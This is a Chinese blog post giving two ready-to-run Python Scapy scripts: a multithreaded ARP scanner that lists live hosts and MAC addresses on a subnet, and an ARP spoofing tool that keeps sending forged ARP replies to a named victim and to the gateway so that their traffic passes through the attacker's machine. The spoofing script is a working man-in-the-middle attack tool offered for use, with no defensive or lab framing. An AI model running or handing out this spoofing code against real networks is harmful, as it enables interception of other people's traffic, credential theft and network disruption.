当前位置:   article > 正文

Python Scapy库实现ARP扫描和ARP欺骗

Python Scapy库实现ARP扫描和ARP欺骗

 ARP扫描:检测指定IP网段中哪些主机是在线的,并获取它们的MAC地址

  1. from scapy.all import *
  2. import argparse
  3. import threading
  4. import time
  5. import logging
  6. # 解析CIDR格式的网段,并返回IP地址列表
  7. # >接受一个CIDR格式的网段作为输入(例如192.168.1.0/24)。
  8. # >将网段解析为IP地址列表。
  9. # >通过子网掩码长度计算IP地址范围,并生成该网段内所有可能的IP地址。
  10. def Parse_IP(targets):
  11. """
  12. 将CIDR格式的网段字符串转换为IP地址列表。
  13. :param targets: CIDR格式的网段字符串,例如"192.168.1.1/24"
  14. :return: IP地址列表
  15. """
  16. _split = targets.split('/') # 按斜杠分割字符串,得到网络地址和子网掩码长度
  17. first_ip = _split[0] # 获取网络地址
  18. ip_split = first_ip.split('.') # 按点分割网络地址,得到各部分的数字
  19. # 生成IP地址范围
  20. ipv4 = range(int(ip_split[3]), int(ip_split[3]) + (2 ** (32 - int(_split[1]))))
  21. # 构建IP地址列表
  22. addr = [f"{ip_split[0]}.{ip_split[1]}.{ip_split[2]}.{p}" for p in ipv4]
  23. return addr
  24. # 使用ARP协议扫描指定IP地址,查找在线设备
  25. # >接受一个IP地址作为输入。
  26. # >使用Scapy发送一个ARP请求到这个IP地址,并等待回复
  27. # >如果收到ARP回复,则提取并打印出该IP地址对应的MAC地址
  28. def ARP_Scan(address):
  29. """
  30. 发送ARP请求到指定IP地址,并查找在线设备的MAC地址。
  31. :param address: 要扫描的IP地址
  32. """
  33. try:
  34. # 发送ARP请求并等待回复,超时时间为5秒
  35. ret = sr1(ARP(pdst=address), timeout=5, verbose=False)
  36. # 如果收到回复
  37. if ret:
  38. # 检查回复是否包含ARP层,并且操作码是否为2(表示ARP回复)
  39. if ret.haslayer('ARP') and ret.fields['op'] == 2:
  40. # 打印IP地址和对应的MAC地址
  41. print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'], ret.fields['hwsrc']))
  42. except Exception as e:
  43. logging.error(f"An error occurred while scanning IP {address}: {e}")
  44. exit(1)
  45. # 程序入口
  46. # >argparse模块解析命令行参数
  47. # >如果提供了扫描网段参数,则调用Parse_IP函数解析网段,获取IP地址列表
  48. # >每个IP地址创建一个新的线程来执行ARP_Scan函数
  49. if __name__ == "__main__":
  50. # 设置Scapy的日志记录级别为ERROR,以减少不必要的输出
  51. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  52. # 创建命令行参数解析器
  53. parser = argparse.ArgumentParser()
  54. parser.add_argument("-s", "--scan", dest="scan", help="输入一个扫描网段")
  55. # 解析命令行参数
  56. args = parser.parse_args()
  57. # 如果提供了扫描网段参数
  58. if args.scan:
  59. # 解析网段并获取IP地址列表
  60. addr_list = Parse_IP(args.scan)
  61. # 创建线程列表
  62. threads = []
  63. # 对每个IP地址启动一个新的扫描线程
  64. for item in addr_list:
  65. t = threading.Thread(target=ARP_Scan, args=(item,))
  66. threads.append(t)
  67. t.start()
  68. # 等待所有线程完成
  69. for item in threads:
  70. item.join()
  71. else:
  72. parser.print_help()

ARP欺骗:通过伪造ARP响应来欺骗目标计算机和网关,使它们相信它们正在与对方通信,而实际上所有的通信都经过了攻击者的机器

  1. from scapy.all import *
  2. import argparse
  3. import threading, time
  4. import logging
  5. # 定义SendPayload函数,用于发送ARP欺骗的数据包
  6. def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):
  7. # 打印目标MAC地址和目标IP地址,以及发送的数据包数量
  8. print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac, tgtIP))
  9. # 生成并发送第一个ARP数据包,伪造网关的IP和MAC地址,欺骗目标计算机
  10. # 使目标计算机认为网关的MAC地址是攻击者的MAC地址
  11. sendp(
  12. Ether(src=srcMac, dst=tgtMac) / # 以攻击者的MAC地址作为源MAC,目标计算机的MAC地址作为目的MAC
  13. ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), # ARP数据包,其中op=2表示ARP回复
  14. iface=Interface
  15. )
  16. # 生成并发送第二个ARP数据包,伪造目标计算机的IP和MAC地址,欺骗网关
  17. # 使网关认为目标计算机的MAC地址是攻击者的MAC地址
  18. sendp(
  19. Ether(src=srcMac, dst=gateWayMac) / # 以攻击者的MAC地址作为源MAC,网关的MAC地址作为目的MAC
  20. ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2),
  21. iface=Interface
  22. )
  23. if __name__ == "__main__":
  24. # 创建命令行参数解析器
  25. parser = argparse.ArgumentParser()
  26. # 接口名
  27. parser.add_argument("-i", "--interface", dest="interface", help="输入接口名")
  28. # 网关地址
  29. parser.add_argument("-g", "--gateway", dest="gateway", help="输入网关地址")
  30. # 目标主机地址
  31. parser.add_argument("-t", "--target", dest="target", help="输入被害主机地址")
  32. # 解析命令行参数
  33. args = parser.parse_args()
  34. if args.gateway and args.target:
  35. # 通过接口名称获取本机的MAC地址
  36. srcMac = get_if_hwaddr(args.interface)
  37. # 通过目标主机的IP地址获取其MAC地址
  38. tgtMac = getmacbyip(args.target)
  39. # 通过网关的IP地址获取其MAC地址
  40. gatewayMac = getmacbyip(args.gateway)
  41. # 持续发送ARP欺骗数据包
  42. while True:
  43. # 创建一个新线程来发送ARP欺骗数据包
  44. t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))
  45. t.start()
  46. t.join()
  47. time.sleep(1)
  48. else:
  49. parser.print_help()

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/157043
推荐阅读
相关标签
  

闽ICP备14008679号